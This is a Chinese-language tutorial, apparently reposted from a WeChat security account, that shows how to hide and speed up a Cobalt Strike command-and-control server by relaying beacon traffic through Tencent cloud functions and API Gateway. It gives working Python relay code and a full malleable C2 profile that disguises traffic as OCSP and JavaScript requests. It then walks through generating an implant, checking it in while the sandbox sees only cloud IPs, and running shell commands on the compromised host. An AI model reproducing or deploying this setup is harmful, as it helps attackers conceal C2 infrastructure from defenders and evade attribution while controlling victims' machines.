C2使用云函数进行隐藏和加速

admin 2022年3月1日23:33:06评论128 views字数 3044阅读10分8秒阅读模式

点击蓝字

C2使用云函数进行隐藏和加速

关注我们



声明

本文作者:北美第一突破手

本文字数:2000

阅读时长:20分钟

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载





一、

原理介绍


这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏

        这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN 的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。

二、

具体实现

CS 一定要使用 4.1 版本(文末下载链接),4.0不行。

我们使用腾讯的 云函数 + API网关 进行具体的实现:

每个月免费的一百万次的请求和40万GB·s的资源请求,基本上叫做用不完了

云函数C2使用云函数进行隐藏和加速

创建测试云函数

首先使用云函数进行创建:

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

函数的名字和语言的类型都可以自定义选择,你使用哪种语言进行开发,就选择哪种代码进行书写,这样我们创建好了一个云函数,里面的内容我们先不写,先创建好触发管理,然后确定能够访问到我们再书写转发代码,在触发管理中进行配置:

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

勾选 API网关触发 并且生成 API 网关,这个时候将我们的云函数发布,并且访问一下 API网关查看效果:

发布C2使用云函数进行隐藏和加速

访问:C2使用云函数进行隐藏和加速

可以看到我们访问网关后确实执行了我们的函数,我们在云函数的日志服务中也可以看到:

C2使用云函数进行隐藏和加速

这样就确定我们能够通过API网关调用函数。

中转函数创建

这里我贴出 python3 的中转代码:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)

response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

在python3.6中请求 HTTPS的话会存在一些问题,所以我们在请求的主体中加上了 verify=False 当然,要是你使用的是 HTTP的话也没事,不用去掉一样能用,然后将上面的代码放到云函数中:

C2使用云函数进行隐藏和加速

在这里我帮大家排个坑,使用域名的话,是不能套 CDN 的,会直接找不到,只能使用纯IP的方式

然后保存发布函数,再到触发条件里面把原来的 API网关触发删除,添加新的网关触发,因为上面我们为了测试是否能够访问到函数,没有勾选集成响应,集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持:

C2使用云函数进行隐藏和加速

然后我们还需要去配置 API 网关的默认路径:

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

然后直接完成配置

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

配置好云函数和 API网关 以后,我们去配置一下 C2 的服务器

新增 profile 文件

这里是使用 Github上一个师傅的代码:

set sample_name "kris_abao";

set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/api/getit";

client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

创建好以后,将这个文件放到CS的根目录下:

C2使用云函数进行隐藏和加速

然后启动 CS 并且加载配置文件,在4.1运行,在4.0中会有玄学问题:

C2使用云函数进行隐藏和加速

本地打开 C2 客户端,然后监听一下本地的80端口,查看web日志,看看是否可以访问得到:

配置监听:

复制一下路径,在监听中填写,监听的类型根据你在函数中填写的来选,如果使用的HTTPS的话就选 HTTPS,使用HTTP就使用HTTP:

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

在 C2 客户端的 WEB日志可以看到请求:

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速


三、

上线测试


生成马子,并且测试上线:

C2使用云函数进行隐藏和加速

然后我们将马子放到微步沙箱上进行查看:

C2使用云函数进行隐藏和加速

已经将我们的信息隐藏起来,只能看到云函数的信息,并且我们的流量会一直从云函数上转发,为了测试我们将 回连的时间设置为 5s 查看一下云函数日志的信息:

C2使用云函数进行隐藏和加速

可以发现对应时间间隔为 5s 说明我们的流量都是中转了的,在日志中的敏感信息除了自己的本机的IP会被记录以外,不会涉及到其他任何信息,可以将自己的IP进行代理做到隐藏。

除此以外,还有一个非常离谱的东西,就是我们使用的时候,你会发现这个 IP 一直变换,这个是正常的,不用紧张可以正常使用,但是你要是用4.0的话就没法执行命令了:

C2使用云函数进行隐藏和加速

IP 问题

上面所提到的 IP 一直变换是由于腾讯云自己的 CDN 的缘故,我们上线的机器的外网IP全部都是腾讯云的,如下:

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

这样我们可以使用一些其他的方式获得当前主机的 IP 例如使用 curl命令:

shell curl ident.me

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速

C2使用云函数进行隐藏和加速


参考链接


Fully Functional C2(https://www.dropbox.com/s/2yo4uud6fgbe1t5/Fully Functional C2.pptx)



后记



CS4.1 下载链接:公众号回复 CS 获得下载链接!

C2使用云函数进行隐藏和加速

扫码二维码

获取更多精彩

洛米唯熊

C2使用云函数进行隐藏和加速




点个在看 你最好看



C2使用云函数进行隐藏和加速

本文始发于微信公众号(洛米唯熊):C2使用云函数进行隐藏和加速

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日23:33:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C2使用云函数进行隐藏和加速https://cn-sec.com/archives/496506.html

发表评论

匿名网友 填写信息